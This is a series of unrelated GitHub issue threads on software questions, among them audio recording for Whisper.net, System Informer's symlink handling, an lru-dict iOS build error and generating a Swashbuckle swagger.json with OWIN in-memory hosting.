            WaveSource.WaveFormat = new WaveFormat(16000, 16, 1); // 16bit,16KHz,Mono的录音格式
            writer = new WaveFileWriter(filePath, WaveSource.WaveFormat);

            WaveSource.BufferMilliseconds = 3000;
            WaveSource.DataAvailable += Recording;
            WaveSource.RecordingStopped += RecordingStopped;
            WaveSource.StartRecording();

        }

        public void StopRec()
        {
                try
                {
                    WaveSource?.StopRecording();
                    // Close Wave(Not needed under synchronous situation)
                    WaveSource?.Dispose();
                    WaveSource = null;
                }
                catch (Exception e)
                {
                    DialogHelper.Error(e.ToString());
                }
        }

        private void Recording(object sender, WaveInEventArgs e)
        {
            writer?.Write(e.Buffer, 0, e.BytesRecorded);
        }

        private void RecordingStopped(object sender, StoppedEventArgs e)
        {
            writer?.Close();
            writer?.Dispose();
            writer = null;

        }

Real-time processing is not fully supported as described here: https://github.com/sandrohanea/whisper.net/issues/25
When you just send partial results, those might have half-words in them and no token can be understood (especially for Chinese, where a token is usually a lot longer in duration).


Can the framework be adapted for other tasks?

📚 VISSL Documentation
A clear and concise description of what content in the Docs is an issue.
Not sure if this is the right place to ask this (apologies for that).
Is VISSL framework a genereic framework? Meaning, can we make use of our models (meant for speech/Audio) and leverage the  VISSL library for SSL?
Currently, I don't see in the documentation or an example of how to adapt the toolbox for non-computer vision work.

Thanks @prigoyal and @QuentinDuval that answers my questions.
Being an audio guy, I will keep an eye on VISSL and maybe play with it during spare time to get better feeling.
Thanks for the good work!


Update link 2017-51-04_17-11-37

:warning: Validation status: warnings

File
Status
Preview URL
Details

split/test_link_to_con.yml
:warning:Warning

Details

split/test_link_to_con.yml

Line 1: [Warning] Invalid file link:(~/content1.md).

For more details, please refer to the build report.
Note: If you changed an existing file name or deleted a file, broken links in other files to the deleted or renamed file are listed only in the full build report.


No Schema Supplied should offer more information

related to: https://github.com/pepkit/looper/issues/459

looks good.


Starting from symlink and replacing task manager uses 'real' file location

Brief description of your issue
When starting SystemInformer from a Symlink and then using Replace Default Task Manager, the registry key will be set to the location of the actual file instead of the symlink.
Steps to reproduce (optional)

Install System Informer (portable) and create a symlink for it's folder (ex. by installing it via scoop, which creates a "current" folder symlink to the installed version folder)
Replace the Task Manager via System Informer settings
Check the Registry
Observe: The Registry key doesn't point to the symlink folder but to the actual folder

Expected behavior (optional)
This may seem like the correct behavior at first, but it presents an issue when using it with package managers like Scoop.
Scoop installs applications by putting them in a folder for their currently installed version (ex apps/systeminformer-nightly/3.0.5974).
A symlink apps/systeminformer-nightly/current is then created that's always linked to the latest version folder.
When updating via scoop, a new version folder is created, the settings ("persisted files") are synced over and the current folder is relinked.
You'd expect apps launched from the current folder to act as if they were installed there (this is the purpose of Symlinks - otherwise you'd just create a shortcut) - windows does so itself too, ex. when right-clicking apps/systeminformer-nightly/current/SystemInformer.exe -> Pin to (Taskbar | Start Menu), the current path is used as the target.
The "Replace Task Manager" action in System Informer should thus also use the current path if that's how it was started.
Actual behavior (optional)
Instead, SystemInformer seems to resolve the Folder Symlink and use the exact version path as the taskmgr.exe/Debugger registry key, causing it to break if it's updated via scoop.
Environment (optional)
No response

This may seem like the correct behavior at first, but it presents an issue when using it with package managers like Scoop.

It is the correct behavior. Windows is resolving (and removing) directory symlinks during process creation.

A symlink apps/systeminformer-nightly/current is then created that's always linked to the latest version folder.
When updating via scoop, a new version folder is created, the settings ("persisted files") are synced over and the current folder is relinked.

This design is busted. The kernel removes folder symlinks from the process image path. The only exception is when files are symlinked instead of the folder.

You'd expect apps launched from the current folder to act as if they were installed there (this is the purpose of Symlinks - otherwise you'd just create a shortcut)

This is only possible on Windows when you create symlinks for the executable not the folder.

Instead, SystemInformer seems to resolve the Folder Symlink

We're using QueryFullProcessImageName:
https://learn.microsoft.com/en-us/windows/win32/api/winbase/nf-winbase-queryfullprocessimagenamew
The filename is normalized during process creation and cached in EPROCESS. QueryFullProcessImageName verbatim copies the filename from the cache by calling NtQueryInformationProcess with ProcessImageFileName -> PsQueryFullProcessImageName -> EPROCESS -> SeAuditProcessCreationInfo -> ImageFileName.
You can view the ImageFileName by right-clicking any process and selecting Properties -> General:
https://user-images.githubusercontent.com/1306177/218852621-c004181a-0cea-486f-bdc2-f6387e54c6ca.png
We're also using GetMappedFileName:
https://learn.microsoft.com/en-us/windows/win32/api/psapi/nf-psapi-getmappedfilenamew
GetMappedFileName verbatim copies the filename from the file handle/section object. NtQueryVirtualMemory with MemoryMappedFilenameInformation -> MmQueryVirtualMemory -> SECTION -> MiSectionControlArea -> FILE_OBJECT -> ObQueryNameString
You can view the MappedFileName by right-clicking any process and selecting Properties -> Modules:
https://user-images.githubusercontent.com/1306177/218878418-aa5ae3ef-d844-4860-875e-3327c7ac0381.png

windows does so itself too, ex. when right-clicking apps/systeminformer-nightly/current/SystemInformer.exe -> Pin to (Taskbar | Start Menu)

Windows Explorer shows the path but the Windows kernel doesn't and the kernel removes folder symlinks on the current path. The only exception is when the file is a symlink instead of the folder.
If you view the handles tab for Explorer.exe when browsing the \current\ symlink folder... It's faking the \current\ path in the address bar and removes the symlinks from the path:
https://user-images.githubusercontent.com/1306177/218883516-1e1aa3f3-7c1a-4e07-8f0c-a6d6c48c9b6c.png

the current path is used as the target. The "Replace Task Manager" action in System Informer should thus also use the current path if that's how it was started.

The scoop current path from the shortcut is passed via the command line (highlighted red) but we can't use it:
https://user-images.githubusercontent.com/1306177/218852621-c004181a-0cea-486f-bdc2-f6387e54c6ca.png
The replace Task Manager option uses the filename as the debugger for taskmgr.exe located in HKEY_LOCAL_MACHINE and using strings from the command line as the filename would create a security vulnerability.
The problem is Scoop using symlinks incorrectly. All they need to do is just rename the current folder to/from the latest version without using any symlinks:

Download into update folder.
Rename current to x.x.x.x_version
Rename update to current

Same semantics and more reliable than symlinks.

Thank you for the elaborate response and for correcting me. I've mentioned it in a scoop issue that i believe is relevant here.
(Should this be closed?)


Precision and recall values for classes

Thank you for the repo! The quality of the code is very good, but some things are not clear. Is it possible to get precision and recall values for each class for the specified IoU value? Also, is it possible to somehow get TP, FP values out of the metric_fn?

@dinarkino our library returns dictionary that contains AP, Precision, Recall for each class and each IoU threshold (you can find format of the output dict here: https://github.com/bes-dev/mean_average_precision/blob/develop/mean_average_precision/mean_average_precision_2d.py#L81), but we does not return TP, FP

If I'm not mistaken, Recall in the output is a numpy array with different Recall values for all the unique confidence thresholds in the list of detections for specified class and IoU values. Then to get Recall for predicted objects and ground truth, we should take the last value in the Recall array. That is assuming that we want to count all the preds that we added to the metric class. For example, for IoU 0.5 and class 0:
metric_fn.value(iou_thresholds=0.5)[0]['precision'][-1]
I wonder if I understood this correctly from the documentation? I compared obtained results with metrics from the yolov5 package (which is originally from https://github.com/rafaelpadilla/Object-Detection-Metrics), and I'm getting completely different results. In contrast, mAP values for each class individually and all classes together are close to each other in two packages.

Ok, I see. They take argmax from F1 score and then print corresponding precision and recall values. Then everything is correct in your repo.


Default Permissions incorrect

I had to enable all the permissions under the Storefront API in order for it to even work with gridsome develop

This appears to be related to the API Version. I see that you are using 2020-07, so I switched to that and did not get the permissions error anymore, even though I'm still not seeing data yet.

This appears to be related to the API Version. I see that you are using 2020-07, so I switched to that and did not get the permissions error anymore, even though I'm still not seeing data yet.


docs(segment): update ngSwitch to beta.10 syntax

Change the syntax from *ngSwitchWhen to *ngSwitchCase to follow changed syntax in angular 2.0.0-rc.2

Thanks! :)


Add ability to specify path to reading-list file

Add ability to specify the path to the reading-list file which may be helpful for debugging and testing.

This is already built into get_saved_articles(reading_list_file: str | None = None), just need a command line option to pass the reading list file.


Question

So with ffmpeg there is the option to set "cpu time" where if you set it super low, the computer spends a ton more time per frame, but you get really good detail and quality.
Is there an equivalent in cupscale? I'd be fine with it taking a few hours to upscale an image if the results would be even better than they already are.

For upscaling? There's TTA which takes 5-8x as long, it barely improves quality thought. It's only compatible with the NCNN implementations. You can enable it in the settings.

@n00mkrad Ah, gotcha. There is no other value? To make the computer spend more time and resources on perfecting the image/frame?
By the way this software is great! Thank you so much! :)


Minimize to tray

What about minimizing to tray? It would be convenient.

You should run it like service. Try this http://nssm.cc/ .Works fine for me.

I could also suggest RBTray or TrayIT! (home site of the latter is down, but you can find places to download it in google.)

ASF is a console application, which means there is no option from inside the code to minimize it to tray, unless I made it a windows (form) application.
So even if I wanted, this suggestion is not possible.


Result differ from google trans web: Inaccurate Result (Plsss How To Fix?)

I Tried to compare the result to web version and it's very inaccurate compared to web version.

I have same problem.  here is code:

and here is web version:

Is there an update on this issue? I also have similar problem.


Having issues on Google assistant responses in my google action. my google action is taking time and the latency is coming 10 seconds. How to handle it

Hi Team,
I am doing some video processing, getting a live stream URL, and sending the response, which is taking the time and the latency is coming about 10seconds. How to handle it.
Below is my action Execute code.
@/NotNull
@/Override
public ExecuteResponse onExecute(
@/NotNull ExecuteRequest executeRequest, @/Nullable Map<?, ?> map) {
ExecuteResponse.Payload payload = new ExecuteResponse.Payload();

String streamUrl = getstreamurl();
System.out.println("#######HLS Url" + gethslurl);
payload.setCommands(
new ExecuteResponse.Payload.Commands[] {
new ExecuteResponse.Payload.Commands(
new String[] {"5e0f5d1820a57b00113d7a7c"},
"SUCCESS",
new HashMap<String, Object>() {
{
put("cameraStreamAccessUrl", streamUrl);
}
},
null,
null)
});
return new ExecuteResponse(executeRequest.getRequestId(), payload);
}

Issue:
Now in my case, after it recognizes the command (typed or spoken) google assistance is not waiting for the response from getstreamurl() function call after 3-5 seconds its automatically sending response"looks like the stream not found", getstreamurl() function call is taking the time and the latency is coming to about 10seconds. How to handle it.

The platform expects a response from the server within about five seconds, otherwise the request will be timed out. If you're experiencing issues, reduce the latency of responses.

Thanks, fleker.
Thanks for your answer.one small clarification, Is there any way to handle in google action if my latency is more then 5 seconds, my response will take more then 5 seconds it's for sure. what is the best solution if my server is taking more the 5 seconds to respond.

For a CameraStream command there's really nothing that you can do in the event of high latency.

so in my request, I am creating a stream and generate the HLS URL for a live stream it's taking a little bit of time to create a stream and generate HLS URL (backend process) so is there any way to handle it if my latency is more then 5 seconds?

@amiya-elear did you considered pre-generating the url and/or caching it?
I would suggest we continue this best practice related discussion on a new https://stackoverflow.com/questions/tagged/google-smart-home question, as this project only track issues related to the Java sample.


forge iOS lru-dict fails with errors in subprocess call

Describe the bug
Building after Issue #38 fix.
Running forge iOS lru-dict causes the following error.
lru.c:629:17: error: incompatible function pointer types initializing 'PyCFunction' (aka 'struct _object *(*)(struct _object *, struct _object *)') with an expression of type 'PyCFunctionWithKeywords' (aka 'struct _object *(*)(struct _object *, struct _object *, struct _object *)') [-Wincompatible-function-pointer-types]
{"popitem", (PyCFunctionWithKeywords)LRU_popitem, METH_VARARGS | METH_KEYWORDS,
^~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
1 error generated.
error: command '/Users/noelmullankuzhy/Tools/Python-Apple-support/support/3.11/iOS/bin/arm64-apple-ios12.0-clang' failed with exit code 1

ERROR Backend subprocess exited when trying to invoke build_wheel
********************************************************************************
Failed build: lru-dict 1.1.8 for iphoneos 12.0 on arm64
********************************************************************************
Traceback (most recent call last):
  File "/Users/noelmullankuzhy/Tools/mobile-forge/src/forge/build.py", line 268, in build
    self._build()
  File "/Users/noelmullankuzhy/Tools/mobile-forge/src/forge/build.py", line 511, in _build
    self.cross_venv.run(
  File "/Users/noelmullankuzhy/Tools/mobile-forge/src/forge/cross.py", line 356, in run
    return subprocess.run(logfile, *args, **self.cross_kwargs(kwargs))
           ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
  File "/Users/noelmullankuzhy/Tools/mobile-forge/src/forge/subprocess.py", line 49, in run
    raise stdlib_subprocess.CalledProcessError(return_code, args)
subprocess.CalledProcessError: Command '(['python', '-m', 'build', '--no-isolation', '--wheel', '--outdir', '/Users/noelmullankuzhy/Tools/mobile-forge/dist'],)' returned non-zero exit status 1.

Steps to reproduce

clone repository and run source ./setup-iOS.sh 3.11
After environment is set up run forge iOS lru-dict

Expected behavior
Lou-dict wheels are generated with out issues
Screenshots
No response
Environment

Operating System: Mac OS Sonoma Version 14.3.1 (23D60)
Python version: 3.11.6 (From Python-Apple-Support)
Software versions:

Python Apple Support: branch 3.11

Logs
Terminal Output
Terminal Output forge iOS lri-dict Fail.txt
Error Logs
lru-dict-1.1.8-cp311-ios_12_0_iphoneos_arm64.log
lru-dict-1.1.8-cp311-ios_12_0_iphonesimulator_arm64.log
lru-dict-1.1.8-cp311-ios_12_0_iphonesimulator_x86_64.log
Additional context
No response

This is a weird one - I see the same problem, but I only get a warning, not a full error:
creating build/temp.ios-12.0-iphoneos-arm64-cpython-311
arm64-apple-ios12.0-clang -Wsign-compare -Wunreachable-code -DNDEBUG -g -fwrapv -O3 -Wall -mios-version-min=12.0 -Wsign-compare -Wunreachable-code -DNDEBUG -g -fwrapv -O3 -Wall -mios-version-min=12.0 -I/Applications/Xcode.app/Contents/Developer/Platforms/iPhoneOS.platform/Developer/SDKs/iPhoneOS17.2.sdk/usr/include -I/Users/rkm/beeware/mobile-forge/build/cp311/lru-dict/1.1.8/venv3.11-ios_12_0_iphoneos_arm64/venv3.11-ios_12_0_iphoneos_arm64/include -I/Users/rkm/beeware/support/Python-Apple-support/install/iOS/iphoneos.arm64/python-3.11.6/include/python3.11 -c lru.c -o build/temp.ios-12.0-iphoneos-arm64-cpython-311/lru.o
lru.c:629:17: warning: incompatible function pointer types initializing 'PyCFunction' (aka 'struct _object *(*)(struct _object *, struct _object *)') with an expression of type 'PyCFunctionWithKeywords' (aka 'struct _object *(*)(struct _object *, struct _object *, struct _object *)') [-Wincompatible-function-pointer-types]
{"popitem", (PyCFunctionWithKeywords)LRU_popitem, METH_VARARGS | METH_KEYWORDS,
^~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
1 warning generated.

So - the result you're seeing is an expected problem, but manifesting harder than it should. Ordinarily, the warning should only be promoted to an error if you're passing in -WX or similar. Is there any possibility that you've got an environment variable that might be doing this?
The other possibility is that there's been a change in the iPhone SDK between 17.2 and 17.4... but that seems less likely.
One way to test this out - can you build a macOS wheel with your current environment? Can you unpack the lru-dict tarball somewhere locally and run python -m build --wheel from the root of the checkout?

I have unpacked the tarball to /Users/noelmullankuzhy/Tools/mobile-forge/downloads/lru-dict-1.1.8
Based on the following code in make-up_wheel.py
# Pack the wheel
 subprocess.run(
     [
         sys.executable,
         "-m",
         "wheel",
         "pack",
         "--dest-dir",
         "dist",
         wheel_path,
     ]
 )

I am assuming the following  is the code that you want me to run.
(venv3.11) noelmullankuzhy@Noels-MacBook-Air mobile-forge % python -m wheel pack --dest-dir dist /Users/noelmullankuzhy/Tools/mobile-forge/downloads/lru-dict-1.1.8
Which results in the following error.
No .dist-info directories found in /Users/noelmullankuzhy/Tools/mobile-forge/downloads/lru-dict-1.1.8
On your other point of whether any other environment variables are messing with the process, here is a list of my environment variables
(venv3.11) noelmullankuzhy@Noels-MacBook-Air mobile-forge % printenv
__CFBundleIdentifier=com.apple.Terminal
TMPDIR=/var/folders/nw/_1x8fxrx7ssfl5q84pn6033m0000gn/T/
XPC_FLAGS=0x0
TERM=xterm-256color
SSH_AUTH_SOCK=/private/tmp/com.apple.launchd.Y0FDhITxBw/Listeners
XPC_SERVICE_NAME=0
TERM_PROGRAM=Apple_Terminal
TERM_PROGRAM_VERSION=453
TERM_SESSION_ID=49954B9A-30B8-40F1-8A10-A52CCF59AC1A
SHELL=/bin/zsh
HOME=/Users/noelmullankuzhy
LOGNAME=noelmullankuzhy
USER=noelmullankuzhy
PATH=/Users/noelmullankuzhy/Tools/mobile-forge/venv3.11/bin:/opt/homebrew/lib/ruby/gems/3.3.0/bin:/opt/homebrew/opt/ruby/bin:/Library/Frameworks/Python.framework/Versions/3.11/bin:/opt/homebrew/bin:/opt/homebrew/sbin:/Library/Frameworks/Python.framework/Versions/3.12/bin:/usr/local/bin:/System/Cryptexes/App/usr/bin:/usr/bin:/bin:/usr/sbin:/sbin:/var/run/com.apple.security.cryptexd/codex.system/bootstrap/usr/local/bin:/var/run/com.apple.security.cryptexd/codex.system/bootstrap/usr/bin:/var/run/com.apple.security.cryptexd/codex.system/bootstrap/usr/appleinternal/bin:/Library/Apple/usr/bin:/Users/noelmullankuzhy/Tools/flutter/bin:/Users/noelmullankuzhy/Tools/Python-Apple-support/support/3.11/iOS/bin:/Users/noelmullankuzhy/Tools/mobile-forge/tools/CMake.app/Contents/bin
SHLVL=1
PWD=/Users/noelmullankuzhy/Tools/mobile-forge
OLDPWD=/Users/noelmullankuzhy
HOMEBREW_PREFIX=/opt/homebrew
HOMEBREW_CELLAR=/opt/homebrew/Cellar
HOMEBREW_REPOSITORY=/opt/homebrew
MANPATH=/opt/homebrew/share/man::
INFOPATH=/opt/homebrew/share/info:
PYTHON_APPLE_SUPPORT=/Users/noelmullankuzhy/Tools/Python-Apple-support
VIRTUAL_ENV=/Users/noelmullankuzhy/Tools/mobile-forge/venv3.11
PS1=(venv3.11) %n@%m %1~ %#
VIRTUAL_ENV_PROMPT=(venv3.11)
MOBILE_FORGE_IPHONEOS_ARM64=/Users/noelmullankuzhy/Tools/Python-Apple-support/install/iOS/iphoneos.arm64/python-3.11.6/bin/python3.11
MOBILE_FORGE_IPHONESIMULATOR_ARM64=/Users/noelmullankuzhy/Tools/Python-Apple-support/install/iOS/iphonesimulator.arm64/python-3.11.6/bin/python3.11
MOBILE_FORGE_IPHONESIMULATOR_X86_64=/Users/noelmullankuzhy/Tools/Python-Apple-support/install/iOS/iphonesimulator.x86_64/python-3.11.6/bin/python3.11
LC_CTYPE=UTF-8
_=/usr/bin/printenv
(venv3.11) noelmullankuzhy@Noels-MacBook-Air mobile-forge %

I have unpacked the tarball to /Users/noelmullankuzhy/Tools/mobile-forge/downloads/lru-dict-1.1.8
In the venv3.11 I ran the following
cd /Users/noelmullankuzhy/Tools/mobile-forge/downloads/lru-dict-1.1.8
python -m build --wheel
Which resulted in following:
/Users/noelmullankuzhy/Tools/mobile-forge/venv3.11/bin/python: No module named build
Then I ran
python -m pip install --upgrade build
which resulted in :
Collecting build

  Using cached build-1.1.1-py3-none-any.whl.metadata (4.2 kB)
Requirement already satisfied: packaging>=19.0 in /Users/noelmullankuzhy/Tools/mobile-forge/venv3.11/lib/python3.11/site-packages (from build) (24.0)
Collecting pyproject_hooks (from build)
  Using cached pyproject_hooks-1.0.0-py3-none-any.whl.metadata (1.3 kB)
Using cached build-1.1.1-py3-none-any.whl (19 kB)
Using cached pyproject_hooks-1.0.0-py3-none-any.whl (9.3 kB)
Installing collected packages: pyproject_hooks, build
Successfully installed build-1.1.1 pyproject_hooks-1.0.0

And then I ran python -m build --wheel
1 error generated.
error: command '/usr/bin/clang' failed with exit code 1

Here is the full terminal output:
Terminal Output Build Lru-Dict Mac Wheel.txt
On your other point of whether any other environment variables are messing with the process, here is a list of my environment variables
(venv3.11) noelmullankuzhy@Noels-MacBook-Air mobile-forge % printenv
__CFBundleIdentifier=com.apple.Terminal
TMPDIR=/var/folders/nw/_1x8fxrx7ssfl5q84pn6033m0000gn/T/
XPC_FLAGS=0x0
TERM=xterm-256color
SSH_AUTH_SOCK=/private/tmp/com.apple.launchd.Y0FDhITxBw/Listeners
XPC_SERVICE_NAME=0
TERM_PROGRAM=Apple_Terminal
TERM_PROGRAM_VERSION=453
TERM_SESSION_ID=49954B9A-30B8-40F1-8A10-A52CCF59AC1A
SHELL=/bin/zsh
HOME=/Users/noelmullankuzhy
LOGNAME=noelmullankuzhy
USER=noelmullankuzhy
PATH=/Users/noelmullankuzhy/Tools/mobile-forge/venv3.11/bin:/opt/homebrew/lib/ruby/gems/3.3.0/bin:/opt/homebrew/opt/ruby/bin:/Library/Frameworks/Python.framework/Versions/3.11/bin:/opt/homebrew/bin:/opt/homebrew/sbin:/Library/Frameworks/Python.framework/Versions/3.12/bin:/usr/local/bin:/System/Cryptexes/App/usr/bin:/usr/bin:/bin:/usr/sbin:/sbin:/var/run/com.apple.security.cryptexd/codex.system/bootstrap/usr/local/bin:/var/run/com.apple.security.cryptexd/codex.system/bootstrap/usr/bin:/var/run/com.apple.security.cryptexd/codex.system/bootstrap/usr/appleinternal/bin:/Library/Apple/usr/bin:/Users/noelmullankuzhy/Tools/flutter/bin:/Users/noelmullankuzhy/Tools/Python-Apple-support/support/3.11/iOS/bin:/Users/noelmullankuzhy/Tools/mobile-forge/tools/CMake.app/Contents/bin
SHLVL=1
PWD=/Users/noelmullankuzhy/Tools/mobile-forge
OLDPWD=/Users/noelmullankuzhy
HOMEBREW_PREFIX=/opt/homebrew
HOMEBREW_CELLAR=/opt/homebrew/Cellar
HOMEBREW_REPOSITORY=/opt/homebrew
MANPATH=/opt/homebrew/share/man::
INFOPATH=/opt/homebrew/share/info:
PYTHON_APPLE_SUPPORT=/Users/noelmullankuzhy/Tools/Python-Apple-support
VIRTUAL_ENV=/Users/noelmullankuzhy/Tools/mobile-forge/venv3.11
PS1=(venv3.11) %n@%m %1~ %#
VIRTUAL_ENV_PROMPT=(venv3.11)
MOBILE_FORGE_IPHONEOS_ARM64=/Users/noelmullankuzhy/Tools/Python-Apple-support/install/iOS/iphoneos.arm64/python-3.11.6/bin/python3.11
MOBILE_FORGE_IPHONESIMULATOR_ARM64=/Users/noelmullankuzhy/Tools/Python-Apple-support/install/iOS/iphonesimulator.arm64/python-3.11.6/bin/python3.11
MOBILE_FORGE_IPHONESIMULATOR_X86_64=/Users/noelmullankuzhy/Tools/Python-Apple-support/install/iOS/iphonesimulator.x86_64/python-3.11.6/bin/python3.11
LC_CTYPE=UTF-8
_=/usr/bin/printenv
(venv3.11) noelmullankuzhy@Noels-MacBook-Air mobile-forge %

Here is some more useful info.
running clang -v   with following results.
Apple clang version 15.0.0 (clang-15<IP_ADDRESS>)
Target: arm64-apple-darwin23.4.0
Thread model: posix
InstalledDir: /Applications/Xcode.app/Contents/Developer/Toolchains/XcodeDefault.xctoolchain/usr/bin

Running  xcode-select -v with following result
xcode-select version 2406

I did some more digging. It seems like lru-dict-1.1.8  which is being downloaded supports only upto Python 3.10 according to this Link. The current latest version lru-dict-1.3.0 supports upto Python 3..12 according to this Link. So I have manually downloaded the source files from Releases v1.3.0 which incidentally added ARM64 Support and tried to build this using python -m build --wheel on its root and the wheel was generated successfully.
Terminal Output lru-dict-1.3.0 Mac OS Wheel build success.txt

Thanks for those details; and glad to hear you've got a working wheel for lru-dict 1.3.0.
It's still a little weird that you're seeing a hard error when I'm seeing a soft error, but I guess that could be chalked up to the minor clang discrepancy (I'm on 15<IP_ADDRESS>.5).
I'll leave this open as a marker for the fact that we should update the recipe for lru-dict; if you feel like contributing a PR, add Fixes #39 in the comment and it will auto-close this issue when the PR is merged.


NIFI-2564 Add support for HL7 composite component names

Wanted to start getting some feedback on this.
ExtractHL7Attributes can currently parse composite components, e.g., output PID.PatientName.XPN.2, which corresponds to the patient's given name, but it'd be more helpful if the attribute was something like PID.PatientName.GivenName or PID.PatientName.XPN.GivenName.
Unfortunately, the underlying library doesn't provide a common way or interfaces around the composite types that make it possible to get at that, so this change gets at them with reflection.

@jfrazee apologies for the delay,  would you mind rebasing this against master so it can be reviewed?
I thank you in advance

@trixpan I'll be getting back to this today. There was a bug fix that had to slide in before this too so it's not going to rebase cleanly anymore.

@jfrazee i'd like to help you get this pushed across the finish line.  Can you please rebase?

@joewitt It's rebased against master again.


Getting the window size

What is the current method of getting the window size? The changelog says that getSize is deprecated and to use display_bounds <- terminal instead, but I can't find which module terminal is in. Reading the source code it looks like reserveTerminal returns the window size, but is that the proper way to get it?
Thanks.

I think what you're looking for is
do
  vty <- mkVty defaultConfig
  ...
  displaySize <- displayBounds $ outputIface vty
  ... $ regionWidth displaySize
  ... $ regionHeight displaySize

Let me know if that helps; close this ticket if so, or let me know what else I can do.

Thanks! I found it in the vty-examples package.

Great!


When clicking an image, the overlay isn't the full height of the screen.

Maybe a possible conflict with angular material?

Hi, please take a look at this issue https://github.com/lukasz-galka/ngx-gallery/issues/10
Is your app online or can you create simple demo?

In chrome console you can use this code to find element with transform property
$$("*[style]").filter(el => el.getAttribute('style').indexOf('transform') != -1)

Adding these properties to ngx-gallery-active   height: 100vw;   width: 100vw; seemed to fix the issue.

  height: 100vw;
  width: 100vw;

Adding these properties to ngx-gallery-active seemed to work, but actually doesn't work well on mobile.

Hi @Rockforced did you find element with transform property or you just add 100vw style? Is this issue resolved or maybe I should reopen this issue?

I have checked material code and this behaviour is because of class mat-sidenav-content which has transform property. There are two tickets about this issue in material repository https://github.com/angular/material2/issues/4873 and https://github.com/angular/material2/issues/998
At this moment there is one option to fix this behaviour
.mat-sidenav-container, .mat-sidenav-content {
    transform: none !important;
}


Added OXC: The JavaScript Oxidation Compiler

The Oxidation Compiler is creating a suite of high-performance tools for JavaScript and TypeScript.
Oxc is building a parser, linter, formatter, transpiler, minifier, resolver ... all written in Rust.
According to OXC the oxc linter finished lining 4000+ files in 0.5 seconds.

⚡ Performance

The parser aim to be the fastest Rust-based ready-for-production parser.
The linter is more than 50 times faster than ESLint, and scales with the number of CPU cores.

Thank you @Hamza12700 !


Template context

This PR introduces an interface called template.Context that the context for the template can optionally implement.  If a struct value is used as the template context and this struct also implements this interface, the template engine will expose template functions of the form func(ctx template.Context, arg string) string as a regular template function of the form func(arg string) string.  It does this by dynamically creating a new function which omits the first argument.
This allows the template developer to expose functions that can carry state that are not visible to the users of the template and still keep the template function easy to use (no context parameter in the template function arguments).
In essence, this PR allows a template to be viewed as a complex, user-programmable function whose evaluation/application not only produces a string (the output of the template) but also a complex value where its state can be updated via template function calls as they appear in the template text.  An example of this is in pkg/template/integration_test.go where a simple context struct exports template functions to print and mutate some state and keeping track of invocation count.   At the end of the evaluation of the template, a string view is rendered and the state of the struct reflects the function invocations in the text template.

Please sign your commits following these rules:
https://github.com/docker/docker/blob/master/CONTRIBUTING.md#sign-your-work
The easiest way to do this is to amend the last commit:
$ git clone -b "template-context" git@github.com:chungers/infrakit.git somewhere
$ cd somewhere
$ git rebase -i HEAD~842353812120
editor opens
change each 'pick' to 'edit'
save the file and quit
$ git commit --amend -s --no-edit
$ git rebase --continue # and repeat the amend for each commit
$ git push -f

Amending updates the existing PR. You DO NOT need to open a new one.


What's the easiest way to retrieve swagger.json documentation file?

Hello!
I'm trying to understand if it's possible to generate swagger.json documentation file manually from code? Or I need to run my WebAPI anyway?
If I need to run WebAPI anyway, is it easier just to request swagger endpoint rather than trying to generate this json manually from code?
By manually from code I mean something like this:
var swaggerConfig = new SwaggerDocsConfig();
MyWebApplication.SwaggerConfig.ConfigureSwagger(swaggerConfig);

// to retrieve httpConfig from somewhere
var httpConfig = new HttpConfiguration();

MyWebApplication.WebApiConfig.Register(httpConfig);

var generatorOptions = new SwaggerGeneratorOptions();

var versionInfoBuilder = new VersionInfoBuilder();
versionInfoBuilder.Version("v1", "MyWebApplication");

var defaultProvider = new SwaggerGenerator(
    httpConfig.Services.GetApiExplorer(),
    httpConfig.Formatters.JsonFormatter.SerializerSettings,
    versionInfoBuilder.Build(),
    generatorOptions);

SwaggerDocument swaggerDocument = defaultProvider.GetSwagger("http://localhost", "v1");

string result = JsonConvert.SerializeObject(swaggerDocument);

However, I guess this code still requires my WebAPI to be running? Because HttpConfiguration should be initialized first.
So finally what's the easiest way to retrieve swagger.json documentation file generated automatically from my WebAPI by Swagger/Swashbuckle?
To run self-hosted WebAPI, configure Swagger/Swashbuckle and request api/swagger/docs/v1?
Thanks,
Gordey

And to have this swagger.json indented please refer #541

+1 Would like to know this also!

If you are using OWIN/Katana with your WebAPI project, then it is possible to generate a swagger.json file from the project without hosting it on an actual port. Instead, you use the In-Memory hosting capabilities supplied by the Microsoft.Owin.Testing nuget package. For more on In-Memory testing, here are a couple of blog posts:
http://www.strathweb.com/2013/12/owin-memory-integration-testing/
http://www.juliencorioland.net/archives/using-owin-to-test-your-web-api-controllers
For example, I have a Startup.cs file with something like the following in my WebAPI project (I'm including Autofac to show how I also handle dependency injection, but you can ignore it if you like):
public class Startup
{
    public void Configuration(IAppBuilder app)
    {
        var config = new HttpConfiguration();
        ConfigureAutofac(app, config);

        config.MapHttpAttributeRoutes();
        config.IncludeErrorDetailPolicy = IncludeErrorDetailPolicy.Always;

        // Configures Swagger using Swashbuckle here. For this example, the
        // API version is "v1"
        SwaggerConfig.Register(config);

        app.UseWebApi(config);
    }

    public virtual IContainer ConfigureAutofac(IAppBuilder app, HttpConfiguration config)
    {
        var builder = new ContainerBuilder();

        builder.RegisterAssemblyModules(typeof(ApiStartup).Assembly);

        var container = builder.Build();

        // Allows the Autofac container to be accessed from the OWIN context.
        app.UseAutofacMiddleware(container);

        // Informs ASP.NET WebApi 2 to use Autofac when resolving dependencies
        // (e.g. dependencies in Controllers).
        config.DependencyResolver = new AutofacWebApiDependencyResolver(container);

        return container;
    }
}

Then I created a new Console project called ProjectName.Api.SwaggerGenerator with a project reference to my WebAPI project and added the Microsoft.Owin.Testing NuGet package. In Program.cs I have the following code:
public class Program
{
    public static void Main(string[] args)
    {
        using (var server = TestServer.Create<ApiStartup>())
        {
            var response = server.CreateRequest("/swagger/docs/v1").GetAsync().Result;
            var content = response.Content.ReadAsStringAsync().Result;
            File.WriteAllText("swagger.json", content);
        }
    }
}

I then run the console app and a file called swagger.json is created with the output of that request. As a side note, the request to /swagger/docs/v1 might vary depending on your Swagger configuration.
With this solution, you don't need to worry about exposing your WebAPI to the public or a potential port conflict because it is all hosted in memory without requiring a port for listening to incoming requests.
If you are not using OWIN/Katana, then it might still be possible, but you would have the Startup.cs file in the SwaggerGenerator project and not in the WebAPI project. I haven't tested that though, so I cannot be sure.
